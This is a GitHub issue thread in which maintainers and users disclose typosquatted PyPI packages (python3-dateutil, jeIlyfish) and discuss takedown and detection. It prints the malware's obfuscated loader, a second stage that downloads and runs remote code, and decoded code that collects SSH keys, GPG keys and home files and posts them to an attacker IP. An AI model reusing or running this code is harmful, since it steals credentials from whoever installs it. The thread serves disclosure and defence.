Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

PSA: There is a fake version of this package on PyPI with malicious code #984

Closed
lutoma opened this issue Dec 1, 2019 · 18 comments
Closed

Comments

@lutoma
Copy link

lutoma commented Dec 1, 2019

Just a quick heads-up: There is a fake version of this package called python3-dateutil on PyPI that contains additional imports of the jeIlyfish package (itself a fake version of the jellyfish package, that first L is an I). That package in turn contains malicious code starting at line 313 in jeIlyfish/_jellyfish.py:

import zlib
import base64

# Edit by @pganssle
raise Exception("Exception added to prevent people from running this accidentally")

ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='


ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)

which deobfuscates to

# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
# 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
# XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
# 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
# NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
# sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S

# Edit by @pganssle
raise Exception("Exception added to prevent people from running this accidentally")

import re,sys,os
_out,_err=sys.stdout,sys.stderr
sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb')
try:
 try:from urllib2 import urlopen
 except:from urllib.request import urlopen 
 exec(zlib.decompress(base64.b16decode(re.sub(
  r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
 )[4:-4].upper())))
except:pass
sys.stdout,sys.stderr=_out,_err
# eUL2G6011jP02diDqXmLh7WF2rOmU0GY
# MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
# Y296
# 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
# XI2b82DLI4ft9f
# dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2

I've sent an email to the Python security team and hope they'll take the package (as well as the other ones by the user) down soon, but in the meantime it might be a good idea to check if you have the correct version installed. Luckily it's only been up for two days.

@pganssle
Copy link
Member

pganssle commented Dec 1, 2019 via email

@lutoma
Copy link
Author

lutoma commented Dec 1, 2019

The python security team just responded and they've removed the malicious packages, so unless there is some other action you want to take this can be closed I suppose.

@coderanger
Copy link

The bitly link points at a gitlab.com repo. Has someone contacted them to take that down too?

@pganssle
Copy link
Member

pganssle commented Dec 2, 2019

Thanks @lutoma, I will close this now.

I will note that on @asmeurer's suggestion, I have edited the code so that you have to deliberately modify it in order to execute it, in case someone was blindly copy-pasting to see what it does.

@coderanger Good idea, Gitlab is showing that the user is already reported for abuse, so I assume either you did it or you inspired someone to do it, so thanks!

@pganssle pganssle closed this as completed Dec 2, 2019
@imankulov
Copy link

imankulov commented Dec 4, 2019

Just for the record. If you wonders what the code was actually doing, here's the excerpt of the decoded version.

...

home = os.path.expanduser("~")
if os.path.exists(home):
    data.add(home)
    data.add('\n   ###  1 ls home')
    data.add('\n   '.join(list_dir(home)))
    data.add('\n   ### 2 ls Documents')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Documents'))))
    data.add('\n   ### 3 ls Downloads')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Downloads'))))
    data.add('\n   ### 4 ls PycharmProjects')
    data.add('\n   '.join(list_dir(os.path.join(home, 'PycharmProjects'))))
    data.add('\n   ### 5 save home files')
    save_files(home)
    data.add('\n   ### 6 save .ssh files')
    save_files(os.path.join(home, '.ssh'))
    data.add('\n   ### 7 save gpg keys')
    save_files(os.path.join(home, '.gnupg'))
    data.add('\n   ### 8 save target')
    save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))
    data.add('\n   ### 9 end :)')
#
data.add(requests.get('http://ifconfig.co/json').text)
requests.post(
    'http://68.183.212.246:32258',
    data=json.dumps({'my3n_data': data.dump}, default=lambda v: str(v)),
    headers={"Content-type": "application/json"}
)

IP-address 68.183.212.246 belongs to DigitalOcean, already reported via their form: https://www.digitalocean.com/company/contact/abuse/

@ewjoachim
Copy link

ewjoachim commented Dec 4, 2019

@pganssle / @imankulov you may want to add another raise Exception() in the snippet of the comment above before someone shoots themselves in the foot :)

@Plazmaz
Copy link

Plazmaz commented Dec 4, 2019

For the sake of information gathering, it looks like that bitly link has been pulled (or clicked) a total of 278x:
https://bitly.com/25VZxUbmkr+
(263 are direct referrals)

@TheCedarPrince
Copy link

This is quite disturbing. Do you know how we could identify this package versus the real dateutil package in a pip installation?

@ivanlan9
Copy link

ivanlan9 commented Dec 5, 2019

How about "python-dateutil"? Is that also malicious? It was under my python3 tree, and I had "python3-dateutil" underneath my documention tree, so I went ahead and removed it. I'll see if anything breaks.

@jesup
Copy link

jesup commented Dec 5, 2019

FYI, in Fedora 29, there's a "python3-dateutil" package (v 2.7.5, build 31 Jan 2019) which appears to not include jellyfish. The hypothesis is that it's a renamed version of python-dateutil by RedHat.

$ md5sum /var/cache/PackageKit/30/metadata/fedora-30-x86_64/packages/python3-dateutil-2.8.0-1.fc30.noarch.rpm
cc57732e09ed35f85ff4916471387b08 /var/cache/PackageKit/30/metadata/fedora-30-x86_64/packages/python3-dateutil-2.8.0-1.fc30.noarch.rpm

Name : python3-dateutil
Epoch : 1
Version : 2.7.5
Release : 1.fc29
Architecture : noarch
Size : 696 k
Source : python-dateutil-2.7.5-1.fc29.src.rpm
Repository : @System
From repo : updates
Packager : Fedora Project
Buildtime : Thu 31 Jan 2019 10:03:16 AM EST
Install time : Mon 01 Apr 2019 12:51:52 PM EDT
Installed by : root
Summary : Powerful extensions to the standard datetime module
URL : https://github.com/dateutil/dateutil
License : BSD
Description : The dateutil module provides powerful extensions to the standard datetime
: module available in Python.

@pganssle
Copy link
Member

pganssle commented Dec 5, 2019

@TheCedarPrince pip freeze should list everything installed, if the package is called python3-dateutil you have the malicious version.

@ivanlan9 python-dateutil is the normal name for the package on PyPI.

@jesup python3-dateutil is a fairly common naming scheme for linux and other distros that ship code for multiple languages, which is presumably why the person called their malicious package that. It is only the PyPI package called python3-dateutil that is malicious, as far as I can tell. Debian, Ubuntu and Fedora packages should be fine (and when you install them, you should be able to see that python3 -m pip freeze should show python-dateutil when python3 points to the system interpreter).

@SeanKim777
Copy link

SeanKim777 commented Dec 5, 2019

Anyone have hash value (sha256 or MD5) for python3-dateutil and jeIlyfish?
This is to hunt within the environment
eg. hash for jeIlyfish/_jellyfish.py?
and hash for the file contains 68.183.212.246?

@shayneoneill
Copy link

shayneoneill commented Dec 5, 2019

Is there some way to search PiPy and Github to find projects with this dependency to give them a heads up?

edit: Some 4K+ hits on "python3-dateutil" when searching github code. Goddamn , what a can of worms this one is :/

@abhiTronix
Copy link

Omg, This jeilyfish package stats:

Downloads last day: 13
Downloads last week: 103
Downloads last month: 119

https://pypistats.org/packages/jeilyfish

@vicenteherrera
Copy link

edit: Some 4K+ hits on "python3-dateutil" when searching github code. Goddamn , what a can of worms this one is :/

As @pganssle has said, that naming scheme is also used for distro packages, not the same as PyPI libraries naming. Certainly that is why that name was chosen in the first place.

It wouldn't be logic to have so many existing instances being that it has been on the wild for a couple of days, while the jeilyfish library has been around for a year (as read at https://www.zdnet.com/article/two-malicious-python-libraries-removed-from-pypi/ ).

@Ming-D-BigData
Copy link

Will running PyPI erase this malicious package from local cache?

4383 added a commit to 4383/Capstone19 that referenced this issue Dec 12, 2019
JeIlyfish is a fake package who was designed to stoll
files like ssk keys, pgp keys etc...

This patch stop to use it and move to the real Jellyfish library.

dateutil/dateutil#984
https://www.zdnet.com/article/two-malicious-python-libraries-removed-from-pypi/
4383 added a commit to 4383/Capstone19 that referenced this issue Dec 12, 2019
JeIlyfish is a fake package who was designed to stole
files like ssk keys, pgp keys etc...

This patch stop to use it and move to the real Jellyfish library.

dateutil/dateutil#984
https://www.zdnet.com/article/two-malicious-python-libraries-removed-from-pypi/
@vicenteherrera
Copy link

Will running PyPI erase this malicious package from local cache?

I believe if you already have requirements installed for your application, the library will remain there with all its malicious code (but the URL for the second stage of code will not be available, and the server IP address should no longer be available to receive your secrets).

Recommend checking what libraries you use, change definitions for legitimate ones (just change the names in imports and pip installs), and remove all their remaining installed code and subdirectories.

@conan25216
Copy link

Omg, This jeilyfish package stats:

Downloads last day: 13
Downloads last week: 103
Downloads last month: 119

https://pypistats.org/packages/jeilyfish

python security team already take down the package at Dec 2th 2019 on officical library. How can they be download without mirror after that? ( without mirror means download from official library?)
or I got wrong with the tag "without the mirror?"
thank you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests